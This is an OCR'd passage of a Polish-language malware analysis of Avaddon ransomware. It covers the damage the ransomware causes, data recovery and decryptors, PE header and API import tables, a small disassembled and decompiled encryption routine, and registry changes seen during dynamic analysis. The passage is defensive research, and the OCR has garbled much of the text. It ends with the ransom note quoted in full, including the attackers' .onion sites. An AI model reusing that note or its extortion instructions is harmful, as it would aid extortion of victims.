e Zaszyfrowanie plikéw okreslonych formatéow sktadowanych na dyskach lokalnych.

40 Volume Shadow Copy Service, Windows Server, Microsoft, https://learn.microsoft.com/en-us/windows-
server/storage/file-server/volume-shadow-copy-service, (dostgp 07.2022)
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e Zaszyfrowanie plikdw okreslonych formatéw sktadowanych na podtaczonych do
komputera zasobach sieciowych.

e Zaszyfrowanie zawartosci nowych plikow.

e Zaszyfrowanie zawartosci nowych zasobdéw dyskowych podtgczonych do
komputera.

e Zaszyfrowanie zawartosci ukrytych wolumendw systemowych.

e Zmiany w konfiguracji komputera.

e Kradziez danych.

e Ataki DDoS.

e Zatrzymanie wybranych ustug oraz procesdw systemowych.

Powyisze szkody dotyczg pojedynczych stacji roboczych. Jednakze, udany atak na firme
moze spowodowac bardzo duze straty finansowe oraz wizerunkowe, ktérych moze nie udaé
sie juz naprawi¢. W niektérych przypadkach, jak to miato miejsce w przesztosci!, udany atak

z wykorzystaniem ransomware, moze doprowadzi¢ firme do bankructwa.

l1l.4 Sposoby odzyskania danych

W wyniku udanego ataku z wykorzystaniem Avaddon, utracony zostaje dostep do czesci
danych sktadowanych na komputerze ofiary oraz potgczonych z nig zasobach sieciowych.
Avaddon, nasamym poczatku dziatania, usuwa punkty przywracania oraz kopie
bezpieczenstwa tworzone przez mechanizmy systemu operacyjnego. Dlatego tez, dane mozna
odzyskac korzystajgc jedynie z backupu zewnetrznego. Wazne jest, zeby w przedsiebiorstwie
stosowa¢ odpowiednie polityki oraz procedury tworzenia wielowarstwowych kopii
bezpieczenstwa. Alternatywnym rozwigzaniem jest tworzenie kopii bezpieczeristwa
z wykorzystaniem rozwigzan chmurowych, ktdére przechowujg wiele stanéw zmian (np.

wszystkie zmiany danych z okresu ostatnich 30 dni).

Jezeli ofiara ataku nie dysponuje kopig bezpieczenstwa danych, ktore zostaty zaszyfrowane,
pozostaje skorzystac z narzedzi umozliwiajgcych odzyskanie danych (jezeli takowe w danym
momencie istniejg). Na chwile obecng, dla Avaddon dostepne sg co najmniej trzy, opisane

ponizej, tego typu narzedzia:

4! Ransomware vicitim Travelex forced into bankruptcy, https:/www.securitymagazine.com/articles/93062-
ransomware-vicitim-travelex-forced-into-bankruptcy, (dostep 01.2022)
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e Deszyfrator Bitdefender.
e Deszyfrator stworzony przez Javier’a Yuste.
e Deszyfrator Emisisoft.

Jezeli natomiast w momencie ataku ransomware tego typu narzedzia nie sg dostepne,

uzytkownik nie ma zbyt wiele mozliwosci odzyskania danych

. W wiekszosci tego typu

przypadkdw pozostaje zaptata okupu albo pogodzenie sie ze stratg. Niestety, zaptata okupu

nie gwarantuje odzyskania petnego dostepu danych. Skutecznos¢ tej metody odzyskiwania

danych szacowana jest na poziomie okoto 60-70%, jednakze pojawiajg sie tez statystki

okre$lajace jg ponizej 10%*2.

I1l.5 Analiza statyczna
Analiza statyczna oprogramowania Avaddon przeprowadzana
utworzonego Srodowiska do analizy ztosliwego oprogramowania

byto narzedzie IDA Pro*.

[RH Resource Hacker - 0ff4058f709d278ed662719b9627618c48e7a656c59f6bfecdad0s81c7cbd742b.exe

= Dial
Q| e

File Edit View Action Help

D EIE MW ¢ > oo

}|, Version Info 1
v 1:1033 2|1 VERSIONINFO
3| FILEVERSION 1,0,0,1
v 4], Manifest 4| PRODUCTVERSION 1,0,0,1
~1:1033 5| FILEOS 0x40004
6| FILETYPE 0x1
7|{
8| BLOCK "StringFieInfo"
9{
10 BLOCK "040904b0"
11
12 VALUE "CompanyName", "Microsoft Corporation”
13 VALUE "FileDescription”, "Host Process for Windows Tasks"
14 VALUE "FieVersion", "10.0.17763.831 (WinBuid.160101.0800)"
15 VALUE "InternalName", "taskhost.exe"
16 VALUE "LegalCopyright", "\xA9 Microsoft Corporation. Al rights reserved.”
17 VALUE "OriginalFilename”, "taskhost.exe”
18 VALUE "ProductName", "Microsoft\xAE Windows\xAE Operating System"
19 VALUE "ProductVersion", "10.0.17763.831"
20
21|}
22
23| BLOCK "VarFieInfo"
24
25 VALUE "Translation", 0x0409 0x04B0
2/}
27|}
Editor View Binary View
| 3AC / B8AAD

11
Rysunek 12.

42 D. Winder, Ransomware Reality Shock: 92% Who Pay Don’t Get Their Data

zostata z wykorzystaniem

. Gtéwnie wykorzystywane

o X
Version Info: 1:1033

Informacje o analizowanej wersji Avaddon — Resource Hacker

Back, Forbes,

https://www.forbes.com/sites/daveywinder/2021/05/02/ransomware-reality-shock-92-who-pay-dont-get-their-

data-back/?sh=42969e63e0c7, (dostep 01.2022)
43 IDA-Pro, Hex-Rays, https://hex-rays.com/ida-pro/, (dostgp 01.2022)
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& PE Explorer - E\probki\avad\0ff4058f709d278ed662719b9627618c48e7a656c59f6bfecdad8 1c7cbd742b.exe

File View Tools

3-8 W

)  Address of Entry Point: |0043F186 /

Help
0 E 8 .4

Field Name Data Value Description Field Name Data Value Description

Section Alignment 00001000

Number of Sections 0005h File Alignment 00000200h

Time Date Stamp B02ECE17h 18/02/2021 19:55:03 Operating System Version 00000006h 6.0

Pointer to Symbol Table 00000000R Image Version 00000000K 0.0

Number of Symbols 00000000h Subsystem Version 00000006h 6.0

Size of Optional Header 00EOh Win32 Version Value 00000000k Reserved

Characteristics 0102h = Size of Image 000CE000h 811008 bytes

Magic 010Bh PE32 Size of Headers 00000400h

Linker Version 1COER 14.28 Checksum 00000000k

Size of Code 00082400h Subsystem 0002h Win32 GUI

Size of Initialized Data 00040200h DIl Characteristics 8140h

Size of Uninitialized Data 00000000k Size of Stack Reserve 00100000k

Address of Entry Point 0043F186h Size of Stack Commit 00001000k

Base of Code 00001000n Size of Heap Reserve 00100000h

Base of Data 00084000h Size of Heap Commit 00001000h

Image Base 00400000h Loader Flags 00000000h Obsolete
Number of Data Directories 00000010k

PE Signature:
Calculating Checksur
ition:

EOF Po
Precompiling

Done.

OK
SUCCE
BBAC1EABh

Resource

Checksum:

(Header’

15151515151515]15) 3 e um:

151515 [0

For Help, press F1

Rysunek 13.

Informacje nagtowkowe z analizowanego pliku PE — PE Explorer

@& PE Explorer - E\probki\avad\0ff4058709d278ed662719b9627618c48e7a656c59f6bfecdad081c7cbd742b.exe

File  View Tools Help
-8 W OEE .2 2 S| B e
1] | Export Table 00000000 |  [0000000O J
Directory Name Virtual Address  Size
Export Table ]
Import Table 004B2040h 000000FOh
Resource Table 004BC000K 000005D8h
Exception Table
Certificate Table
Relocation Table 004BD000Kh 00008D 44h
Debug Data 004ABE2Ch 00000038h
Architecture-specific data
Machine Value (MIPS GP)
TLS Table
Load Configuration T able 004A6E68h 00000040h
Bound Import Table
Import Address Table 00484000h 00000358h

Delay Import Descriptor
COM+ Runtime Header
(15) Reserved

For Help. oress F1

PE Signature:

Calculating (

EOF Po

Precompiling

Done.

Rysunek 14.

ition:

OK
hecksum: SUCCESS <(Header
BBAC1EABh 794112)

Resource

Checksun: 00000000h Real wecksum:

Informacje strukturze analizowanego pliku PE — PE Explorer

PBAC?7391
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& PE Explorer - E\probki\avad\0ff4058f709d278ed662719b9627618c48e7a656c59f6bfecdads 1c7cbd742b.exe
File View Tools Help
-2 W on@E 3 AAS| BRRWE| o

wRs ARS X 4o | [ooo00400 |

Name Virtual Size Vitual Address  Size of Raw Data  Pointerto Raw Data  Characteristics  Pointing Directories

] tex [ 0008284Ch | 00401000h [ 00082400h  [00000400h  [6o000OOOR | |
® data 0002F3DEh  00484000h 0002F400h 00082E00h 40000040h Import Table; Debug Data; Load C

® data 00007818h  004B4000h 00006800k 00082200h C0000040h

rsrc 000005D8h  004BCO00K 00000600k 000B8A00K 40000040h Resource Table

reloc  00008D44h  004BD000K 0000SE 00K 00083000h 42000040h Relocation Table

Legend:
@ - Section is pointed to by header (Can't be deleted)

- Section is pointed to by Data Directories (May be deleted)
® - Section has no reference (May be deleted)

Signature: OK
ting Checksum: SUCCESS (Header’ Checksum: 000000AGH Rea Chec um: BBAC?39Eh)

Position: BAPAC1EAAh

mpiling Resource

For Help, press F1

Rysunek 15. Informacje sekcjach w analizowanym pliku PE — PE Explorer

[11.5.1 Analiza importowanych bibliotek zewnetrznych

Poniza tabele prezentuje biblioteki zewnetrzne, do ktérych odwotuje sie analizowana

wersja oprogramowania Avaddon.

Nazwa biblioteki Znaczenie biznesowe

ADVAPI32 Biblioteka zawiera funkcje umozliwiajgce m.in.:

e wykonywanie operacji nawpisach rejestru
systemu Windows,

e restartowanie oraz  wytgczanie  systemu
Windows,

e tworzenie/uruchamianie/zatrzymywanie
serwisdw systemu Windows,

e szyfrowanie/deszyfrowanie danych,

e zarzadzanie kontami uzytkownikow.

CRYPT32 Biblioteka zawierajgce implementacje mechanizméw do
obstugi certyfikatow oraz funkcji kryptograficznych.

IPHLPAPI Biblioteka zawierajagce  funkcje uzywane przez
mechanizm Windows IP Helper API.

KERNEL32 Modut jadra systemu Windows, uruchamiany jak proces

dziatajgcy wtle. Ze wzgleddw bezpieczenstwa kod
biblioteki tadowany jest przez Windows w obszary
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chronione pamieci operacyjnej. Biblioteka pozwala m.in.
na:

e zarzadzenie pamiecia,
e zarzadzanie operacjami wejscia/wyjscia
e zarzadzanie przerwaniami

MPR

Biblioteka  obstugujgce  komunikacje =~ pomiedzy
systemem operacyjnym Windows oraz dostawcami
ustug sieciowych.

NETAPI32

Biblioteka stanowigca czes¢ mechanizmu Windows NET
API. Jej gtébwnym zadaniem jest udostepnienie
aplikacjom funkcji do obstugi potgczen sieciowych.

OLEAUT32

Biblioteka wykorzystywana gtownie podczas instalacji
oprogramowania. Udostepnia funkcje umozliwiajace
przeprowadzenie procesu instalacji aplikacji w systemie
Windows.

RstrtMgr

Biblioteka
Manager.

stanowigca cze$¢ mechanizmu Restart

SHELL32

Biblioteka zawierajgca funkcje umozliwiajgce obstuge
Windows Shell API.

WS2_32

Biblioteka zawierajace m.in. niskopoziomowe funkcje do
obstugi pofaczen sieciowych. Biblioteka stanowi czes¢
mechanizmu Windows Sockets API.

ole32

Biblioteka zawiera funkcje do obstugi oraz integracji
z mechanizmem Component Object Model.

[11.5.2 Analiza wykorzystywanych funkcji z Windows API

Poniza tabele prezentuje funkcje APl systemu operacyjnego Windows, z ktérych korzysta

analizowana wersja oprogramowania Avaddon. Dla najistotniejszych funkcji opisane zostato

znaczenie biznesowe.

Nazwa funkgcji Biblioteka Znaczenie biznesowe
AdjustTokenPrivileges ADVAPI32
ChangeTimerQueueTimer KERNEL32
CheckRemoteDebuggerPresent KERNEL32
CloseHandle KERNEL32
CloseServiceHandle ADVAPI32
CoCreatelnstance ole32
ColnitializeEx ole32
ColnitializeSecurity ole32
CoSetProxyBlanket ole32
CoUninitialize ole32
CompareStringW KERNEL32
ControlService ADVAPI32
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CopyFileWw KERNEL32 Funkcja do kopiowania plikow.

CreateEventW KERNEL32

CreateFileW KERNEL32 Funkcja do tworzenia/otwierania
plikdw.

CreateloCompletionPort KERNEL32

CreateMutexW KERNEL32

CreateProcessW KERNEL32 Funkcja do tworzenia procesow
systemowych.

CreateThread KERNEL32 Funkcja do tworzenia watkow
w ramach istniejgcych procesow.

CreateTimerQueue KERNEL32

CreateTimerQueueTimer KERNEL32

CreateToolhelp32Snapshot KERNEL32

CryptAcquireContextW ADVAPI32 Funkcja do tworzenia kontekstu
kryptograficznego.

CryptDestroyKey ADVAPI32 Funkcja do niszczenia (usuwania
z pamieci) utworzonych
wczesniej kluczy
kryptograficznych.

CryptDuplicateKey ADVAPI32 Funkcja do tworzenia kopii kluczy
kryptograficznych.

CryptEncrypt ADVAPI32 Funkcja do szyfrowania danych.

CryptExportKey ADVAPI32 Funkcja do eksportu kluczy
kryptograficznych - tworzy
binarne dane, zawierajace dane
oraz metadane klucza.

CryptGenKey ADVAPI32 Funkcja do generowania nowych
kluczy kryptograficznych.

CryptimportKey ADVAPI32 Funkcja do importowania kluczy
kryptograficznych. Importowane
sa dane binarne utworzone
wczesniej z wykorzystaniem
funkcji CryptExportKey.

CryptReleaseContext ADVAPI32 Funkcja zwalnia (usuwa
z pamieci) kontekst
krypotgraficzny.

CryptSetKeyParam ADVAPI32 Funkcja umozliwia ustawienie
parametréw wykorzystywanego
mechanizmu kryptograficznego.

CryptStringToBinaryA CRYPT32 Funkcja umozliwia konwersje
ciggu znakdéw na dane binarne.

DecodePointer KERNEL32

DeleteCriticalSection KERNEL32

DeleteService ADVAPI32

DeleteTimerQueueTimer KERNEL32

DuplicateHandle KERNEL32
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EncodePointer KERNEL32

EnterCriticalSection KERNEL32

EnumDependentServicesW ADVAPI32

EnumSystemLocalesW KERNEL32

ExitProcess KERNEL32 Funkcja powoduje zakonczenie
pracy procesu.

ExitThread KERNEL32 Funkcja powoduje zakonczenie
pracy watku.

FindClose KERNEL32 Funkcja zamyka handler uzywany
podczas wyszukiwania plikow.

FindFirstFileExW KERNEL32 Funkcja umozliwia wyszukiwanie
plikow oraz folderow
spetniajacych okreslone warunki.

FindFirstFileW KERNEL32 Funkcja umozliwia wyszukiwanie
plikow oraz folderow
spetniajacych okreslone warunki.

FindFirstVolumeW KERNEL32 Funkcja do szukania wolumenoéw
obecnych w systemie
operacyjnym.

FindNextFileW KERNEL32 Funkcja zwraca kolejny
plik/folder spetniajacy okreslone
kryteria wyszukiwania.

FindNextVolumeW KERNEL32 Funkcja zwraca kolejny
plik/folder spetniajacy okreslone
kryteria wyszukiwania.

FindVolumeClose KERNEL32 Funkcja zamyka handler uzywany
podczas wyszukiwania
wolumendw.

FlushFileBuffers KERNEL32

FreeEnvironmentStringsW KERNEL32

FreelLibrary KERNEL32

FreeLibraryAndExitThread KERNEL32

GetACP KERNEL32

GetCPInfo KERNEL32

GetCommandLineA KERNEL32 Pozwala odczyta¢ zawartos¢
wiersza polecen dla danego
procesu (z momentu
uruchamiania).

GetCommandLineW KERNEL32 Pozwala odczyta¢ zawartos¢
wiersza polecen dla danego
procesu (z momentu
uruchamiania).

GetComputerNameA KERNEL32 Funkcja zwraca nazwe
komputera.

GetConsoleMode KERNEL32

GetConsoleOutputCP KERNEL32
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GetCurrentProcess KERNEL32

GetCurrentProcessld KERNEL32

GetCurrentThread KERNEL32

GetCurrentThreadld KERNEL32

GetDateFormatW KERNEL32

GetDiskFreeSpaceW KERNEL32

GetEnvironmentStringsW KERNEL32

GetEnvironmentVariableW KERNEL32

GetExitCodeThread KERNEL32

GetFileAttributesW KERNEL32 Funkcja pozwala odczytac
atrybuty wskazanego
pliku/folderu.

GetFileSizeEx KERNEL32 Funkcja pozwala odczytac
rozmiar wskazanego
pliku/folderu.

GetFileType KERNEL32 Funkcja pozwala odczytaé typ
wskazanego pliku/folderu.

GetlastError KERNEL32

GetlLocalelnfoA KERNEL32

GetlLocalelnfoW KERNEL32

GetlogicalDrives KERNEL32

GetlogicalProcessorinformation KERNEL32

GetModuleFileNameW KERNEL32

GetModuleHandleA KERNEL32

GetModuleHandleExW KERNEL32

GetModuleHandleW KERNEL32

GetNumaHighestNodeNumber KERNEL32

GetOEMCP KERNEL32

GetProcAddress KERNEL32

GetProcessAffinityMask KERNEL32

GetProcessHeap KERNEL32

GetQueuedCompletionStatus KERNEL32

GetStartupIinfoWw KERNEL32

GetStdHandle KERNEL32

GetStringTypeW KERNEL32

GetSysteminfo KERNEL32 Funkcja zwracajgca okreslone
informacje o systemie.

GetSystemTimeAsFileTime KERNEL32

GetThreadContext KERNEL32

GetThreadPriority KERNEL32

GetThreadTimes KERNEL32

GetTickCount KERNEL32

GetTimeFormatW KERNEL32

GetTimeZonelnformation KERNEL32

GetTokenInformation ADVAPI32

GetUserDefaultLCID KERNEL32
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GetVersionExW KERNEL32

GetVolumelnformationW KERNEL32 Funkcja zwracajgca okreslone
informacje o wskazanym
wolumenie systemowym.

GetVolumePathNamesForVolumeNameW | KERNEL32

HeapAlloc KERNEL32

HeapFree KERNEL32

HeapReAlloc KERNEL32

HeapSize KERNEL32

InitializeCriticalSectionAndSpinCount KERNEL32

InitializeSListHead KERNEL32

InitiateShutdownW ADVAPI32

InterlockedFlushSList KERNEL32

InterlockedPopEntrySList KERNEL32

InterlockedPushEntrySList KERNEL32

IsDebuggerPresent KERNEL32 Funkcja do wykrywania czy
proces jest kontrolowany przez
oprogramowanie typu debugger.

IsProcessorFeaturePresent KERNEL32 Funkcja do wykrywania czy
procesor komputera posiada
okreslone funkcjonalnosci.
Funkcja ta jest czesto
wykorzystywana
w mechanizmach anty-debug.

IsValidCodePage KERNEL32

IsValidLocale KERNEL32

LCMapStringW KERNEL32

LeaveCriticalSection KERNEL32

LoadLibraryExW KERNEL32

LoadLibraryW KERNEL32

LocalFree KERNEL32

LookupPrivilegeValueW ADVAPI32

MoveFileExW KERNEL32

MultiByteToWideChar KERNEL32

NetApiBufferFree NETAPI32

NetDfsEnum NETAPI32

NetShareEnum NETAPI32

OpenMutexW KERNEL32

OpenProcess KERNEL32

OpenProcessToken ADVAPI32

OpenSCManagerW ADVAPI32

OpenServiceW ADVAPI32

PostQueuedCompletionStatus KERNEL32

Process32FirstW KERNEL32 Zwraca informacje o pierwszym

procesie znalezionym we

95




wskazanej migawce ze stanu
systemu (snapshot).

Process32NextW KERNEL32 Zwraca informacje o kolejnym
procesie znalezionym we
wskazanej migawce ze stanu
systemu (snapshot).

QueryDepthSList KERNEL32

QueryDosDeviceW KERNEL32

QueryPerformanceCounter KERNEL32

QueryServiceStatusEx ADVAPI32

RaiseException KERNEL32

ReadFile KERNEL32 Funkcja umozlwiajaca odczytanie
zawartosci wskazanego pliku.

RegCloseKey ADVAPI32

RegOpenKeyExW ADVAPI32 Funkcja umozliwia
pobranie/utworzenie
okreslonego wpisu w rejestrze
systemu Windows.

RegSetValueExW ADVAPI32 Funkcja umozliwia zmiane
okreslonego wpisu w rejestrze
systemu Windows.

RegisterWaitForSingleObject KERNEL32

ReleaseSemaphore KERNEL32

RmEndSession RstrtMgr

RmGetList RstrtMgr

RmRegisterResources RstrtMgr

RmShutdown RstrtMgr

RmStartSession RstrtMgr

RtlUnwind KERNEL32

SHEmptyRecycleBinW SHELL32

SendARP IPHLPAPI

SetEnvironmentVariableW KERNEL32

SetEvent KERNEL32

SetFileAttributesW KERNEL32 Funkcja umozliwia okreslenie
atrybutéw pliku/folderu.

SetFilePointerEx KERNEL32 Funkcja ustawia wskaznik
na okre$lone miejsce w danym
pliku.

SetLastError KERNEL32

SetStdHandle KERNEL32

SetThreadAffinityMask KERNEL32

SetThreadPriority KERNEL32

SetUnhandledExceptionFilter KERNEL32

SetVolumeMountPointW KERNEL32

96




ShellExecuteW SHELL32 Funkcja do wykonania okreslonej
operacji z wykorzystaniem
mechanizmu Windows Shell.

SignalObjectAndWait KERNEL32

Sleep KERNEL32

StartServiceW ADVAPI32

SwitchToThread KERNEL32

SysAllocString OLEAUT32

SysAllocStringBytelen OLEAUT32

SysFreeString OLEAUT32

SysStringBytelLen OLEAUT32

TerminateProcess KERNEL32 Funkcja do zatrzymania
wskazanego procesu oraz
wszystkich powigzanych z nim
watkow.

TlsAlloc KERNEL32

TIsFree KERNEL32

TIsGetValue KERNEL32

TlsSetValue KERNEL32

TryEnterCriticalSection KERNEL32

UnhandledExceptionFilter KERNEL32

UnregisterWait KERNEL32

UnregisterWaitEx KERNEL32

VariantClear OLEAUT32

Variantinit OLEAUT32

VirtualAlloc KERNEL32

VirtualFree KERNEL32

VirtualProtect KERNEL32

WNetGetConnectionW MPR

WSACleanup WS2_32

WSAStartup WS2_32

WaitForSingleObject KERNEL32

WaitForSingleObjectEx KERNEL32

WideCharToMultiByte KERNEL32

WriteConsoleW KERNEL32

WriteFile KERNEL32 Funkcja umozlwiajgca zapisanie
zawartosci wskazanego pliku.

gethostbyname WS2_32 Funkcja sieciowa pobierajaca
dane hosta na podstawie jego
nazwy.

gethostname WS2_32 Funkcja zwraca nazwe hosta.

getnameinfo WS2 32

htons WS2_32

inet_addr WS2_32 Funkcja konwertuje adres [P

w notacji IPv4 na strukture
IN_ADDR.
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inet_ntoa WS2 32 Funkcja konwertuje adres
sieciowy naadres IP w notacji
IPv4.

[11.5.3 Deasemblacja
Deasemblacja analizowanej wersji binarnej ransomware’a Avaddon wykonana zostata
z wykorzystaniem oprogramowania IDA Pro w wers;ji 32 bitowej. Ponizej przedstawiony zostat

przyktadowy wynik deasemblacji funkcji szyfrujgcej zawartosé pliku.

loc_41A0AE: ; dwBuflen
push [ebptdwBufLen]

lea ecx, [ebptpdwDatalen]

push ecx ; pdwDataLen
push eax ; pbData
movzx eax, [ebptarg 4]

push 0 ; dwFlags
push eax ; Final
push 0 ; hHash
push [ebpt+hKey] ; hKey
call ds:CryptEncrypt

test eax, eax

setnz al

pop ebp

retn 14h

sub 41A0A0 endp

Kod zZrédfowy 2. Fragment funkcji szyfrujgcej wskazane dane — wersja po deasemblacji

[11.5.4 Dekompilacja

Dekompilacja analizowanej wersji binarnej ransomware’a Avaddon wykonana zostata
z wykorzystaniem oprogramowania IDA Pro oraz IDA Decompiler*® w wersji 32 bitowej.
Ponizej przedstawiony zostat przyktadowy wynik dekompilacji funkcji szyfrujacej zawartosé

pliku (tej samej, ktéra zaprezentowana zostata w poprzednim punkcie).

bool  stdcall sub 41A0AO (HCRYPTKEY hKey, char a2, BYTE *pbData, DWORD pdwDataLen, DWORD
dwBuflLen)
{

BYTE *v5; // eax

v5 = pbData;
if ( *((_DWORD *)pbData + 5) >= 0x10u )
v5 = *(BYTE )pbData;
return CryptEncrypt (hKey, 0, (unsigned _ int8)a2, 0, v5, &pdwDataLen, dwBufLen);
}

Kod zrédfowy 3. Fragment funkcji szyfrujgcej wskazane dane — wersja po deasemblacji

I11.6 Analiza dynamiczna
Analiza dynamiczna przeprowadzona zostata w $Srodowisku do dynamicznej analizy

ztosliwego oprogramowania. W srodowisku tym uruchomiona zostata instancja Avaddon.

44 Hex-Rays Decompiler, Hex-Rays, https://hex-rays.com/decompiler/, (dostep 01.2022)
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Nastepnie przeanalizowany zostat m.in. zakres wprowadzonych zmian w konfiguracji systemu

oraz zasobach dyskowych.

[11.6.1 Analiza stanu systemu po przeprowadzonym ataku

W zaatakowanym systemie zarejestrowano ponad 4200 zmian w rejestrze systemu
Windows. Do analizy tego aspektu wykorzystane zostato narzedzie RegistryChangesView.
Pierwszy obraz stanu rejestru utworzony zostat chwile przed infekcjg. Drugi chwile po niej.

Ponizszy zrzut ekranu prezentuje wyniki poréwnania obu standw rejestru.

i RegistryChangesView - o X
File Edit View Options Help

SCEISCEEEE, ]

Registry Key Change Type ~ Value Name Value Data
HKEY_CURRENT_USER\Software\Classes\.avif Added Key

‘?-'J'HKEV,CURRENT,USER\Software\Classes\,avlf\OpenWlthProg\ds Added Value  AppX43hnxtbyyps62jhe9sqpdzxn1790zetc
HKEY_CURRENT_USER\Softy lasses\.avif\Op i ogid Added Key
HKEY_CURRENT_USER\Software\Classes\.cr3 Added Key
HKEY_CURRENT_USER\Software\Classes\.cr3\OpenWithProgids Added Key

£ HKEY_CURRENT_USER\Software\Classes\.cr3\OpenWithProgids Added Value  AppX9rkaq77s0jzhtyccadx9ghba15r6t3h
HKEY_CURRENT_USER\Software\Classes\.heif Added Key

F4HKEY_CURRENT_USER\Software\Classes\.heif\OpenWithProgids Added Value  AppX43hnxtbyyps62jhe9sqpdzxn1790zetc
HKEY_CURRENT_USER\Software\Classes\.heif\OpenWithProgids Added Key
HKEY_CURRENT_USER\Software\Classes\ hif Added Key
HKEY_CURRENT_USER\Software\Classes\ hif\OpenWithProgids Added Key

£ HKEY_CURRENT_USER\Software\Classes\ hif\OpenWithProgids Added Value  AppX43hnxtbyyps62jhe9sqpdzxn1790zetc
HKEY_CURRENT_USER\Software\Classes\.ori Added Key
HKEY_CURRENT_USER\Software\Classes\.ori\OpenWithProgids Added Key

8| HKEY_CURRENT_USER\Software\Classes\.ori\OpenWithProgids Added Value  AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h
HKEY_CURRENT_USER\Software\Classes\ActivatableClasses\Package\Microsoft.Getstarted_10.2111.2.0_x64__8wekyb3d8bbwe Added Key
HKEY_CURRENT_USER\Software\Classes\ActivatableClasses\Package\Microsoft.Getstarted_10.6.42361.0_x64_ 8wekyb3d8bbwe Removed Key

HKEY_CURRENT_USER\Software\Classes\ActivatableClasses\Package\Microsoft.MicrosoftOfficeHub_18.2106.12410.0_x64__8wekyb3d8bbwe Removed Key
HKEY_CURRENT_USER\Software\Classes\ActivatableClasses\Package\Microsoft.MicrosoftOfficeHub_18.2110.13110.0_x64_ 8wekyb3d8bbwe  Added Key

HKEY_CURRENT_USER\Software\Classes\ActivatableClasses\Package\Microsoft.ScreenSketch_10.1907.2471.0_x64_ 8wekyb3d8bbwe Removed Key
HKEY_CURRENT_USER\Software\Classes\ActivatableClasses\Package\Microsoft.ScreenSketch_10.2008.2277.0_x64__8wekyb3d8bbwe Added Key
HKEY_CURRENT_USER\Software\Classes\ActivatableClasses\Package\Microsoft.Ul.Xaml.2. . . __8wekyb3d8bbwe Removed Key
| |HKEY_CURRENT USER\Software\Classes\ActivatableClasses\Package\Microsoft.UL.Xam X Removed Key
HKEY_CURRENT_USER\Software\Classes\ActivatableClasses\Package\Microsoft.Ul.Xaml.2.6_2. . . __8wekyb3d8bbwe Added Key
HKEY_CURRENT_USER\Software\Classes\ActivatableClasses\Package\Microsoft.Ul.Xaml.2.6_2.62112.3002.0_x86_ 8wekyb3d8bbwe Added Key

HKEY_CURRENT_USER\Software\Classes\ActivatableClasses\Package\Microsoft Windows.Photos_2019.19071.12548.0_x64_ 8wekyb3d8bbwe ~ Removed Key
HKEY_CURRENT_USER\Software\Classes\ActivatableClasses\Package\Microsoft.Windows.Photos_2021.21090.10008.0_x64_8wekyb3dgbbwe  Added Key
HKEY_CURRENT_USER\Software\Classes\ActivatableClasses\Package\Microsoft WindowsAlarms_10.1906.2182.0_x64_8wekyb3d8bbwe Removed Key
HKEY_CURRENT_USER\Software\Classes\ActivatableClasses\Package\Microsoft.WindowsAlarms_10.2101.28.0_x64_8wekyb3d8bbwe Added Key
HKEY_CURRENT_USER\Software\Classes\ActivatableClasses\Package\Microsoft XboxSpeechToTextOverlay_1.17.29001.0_x64_8wekyb3d8bbwe Removed Key
HKEY_CURRENT_USER\Software\Classes\ActivatableClasses\Package\Microsoft.XboxSpeechToTextOverlay_1.21.13002.0_x64_ 8wekyb3d8bbwe Added Key

-1""HKEV,CURRENT,USER\SoftWare\Classes\Apr17qceZa7ahngS7whsJsz524farwxvy\AppI\canon Modified Value Applicationlcon @{MicrosoftMicrosoftOfficeHub_18.210
“"‘HKEV,CURRENT,USER\Scflware\ClasseS\Apr1 7qce2a7ahnjz57whsj2zk524farwxvy\Defaulticon Modified Value @{Microsoft.MicrosoftOfficeHub_18.210
ab|HKEY_CURRENT_USER\Software\Classes\AppX17qce2a7ahnjz57whsj2zk524farwxvy\Shell\open Modified Value Packageld Microsoft.MicrosoftOfficeHub_18.2106.1
4208 item(s), 1 Selected NirSoft Freeware. http://www.nirsoft.net

Rysunek 16. Wynik porownania stanu rejestru sprzed oraz z po infekcji - RegistryChangesView

Wprowadzone przez Avaddon zmiany stanu systemu dotyczyty m.in.:

e Dodania wpisdw umozliwiajacych automatycznie uruchomienie instancji Avaddon
podczas startu system Windows.

e Modyfikacji wpiséw zwigzanych z mechanizmem UAC*.

e Modyfikacji wpiséw umozliwiajgcych uzyskanie dostepu administracyjnego do

zmapowanych zasobow dyskowych.

45 Opis kontroli konta uzytkownika i ograniczen zdalnych w systemie Windows Vista, Windows Server,
Microsoft, https://learn.microsoft.com/pl-pl/troubleshoot/windows-server/windows-security/user-account-
control-and-remote-restriction
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e Modyfikacji wpiséw umozliwiajgcych dostep do zasobow sieciowych zmapowanych

na kontach innych uzytkownikéw komputera.

Po zakonczonym ataku Avaddon uruchomit program Notatnik, w ktérym zaprezentowat

informacje o przeprowadzonym ataku oraz sposobie zaptaty okupu.

—|MN2D2_readme_txt - Notepad - O X

File Edit Format View Help

——————— === Your network has been infected! ===——-----

Fokdoksd ook ko R kkok DO NOT DELETE THIS FILE UNTIL ALL YOUR DATA HAVE BEEN RECOVERED ook ok kR ko

All your documents, photos, databases and other important files have been encrypted and have the extension: .aACABebEda

You are not able to decrypt it by yourself. But don't worry, we can help you to restore all your files!

The only way to restore your files is to buy our special software. Only we can give you this software and only we can restore your files!

We have also downloaded a lot of private data from your network.

If you do not contact as in a 3 days we will post information about your breach on our public news website (avaddongun7rngel.onion) and after 7 days the whole downloaded info.
You can get more information on our page, which is located in a Tor hidden network.

How to get to our page

1. Download Tor browser - https://www.torproject.org/
2. Install Tor browser

3. Open link in Tor browser - avaddonbotrxmuyl.onion
4. Follow the instructions on this page

MjAWNC1VSVhPamkxdWdvTn1Mc@x0LzFjQnRrQ2Y3L1Vea2xXTzdjQotUbUZiKzkxeEE3dUs@UndaTUE5VFNoNJREeWNXdDdxMmIXTWVZUVNOROF CWFZwNHI zY@ZKNDMWMVRTbD1Mb11ZVSONVUFZZEh@ZX1mQUREVHFCZZF1Y1dKK2F
dWp3dkYyMSt2Q3JYUVBvVSUQ3Vm1sNmx6UVF JROttTHF SVGE2Q3dwVzcweUpGSjFrdmVKOEISNOhCN2VORy 8y L 205eWF1d3V2ZThzUEdXTD1IV2MONXpWL2VCSOFkeXkrY280aVpaTGNLbnhIeDZTTXEvd2NhWXNOYk91ia@1FVTNZSzZ
S25YNldFcBVna2cZNThyRBZNbBVpMmthHRXVw4yN2]4RHhNMEt0UmeRTCSZFRNPQ::‘

* DO NOT TRY TO RECOVER FILES YOURSELF!

* DO NOT MODIFY ENCRYPTED FILES!

* * % OTHERWISE, YOU MAY LOSE ALL YOUR FILES FOREVER! * * *

voKq3L1iSY8DBKDVmy1FDzIU438av70x

Ln 23, Col 2117 80% Macintosh (CR) UTF-8

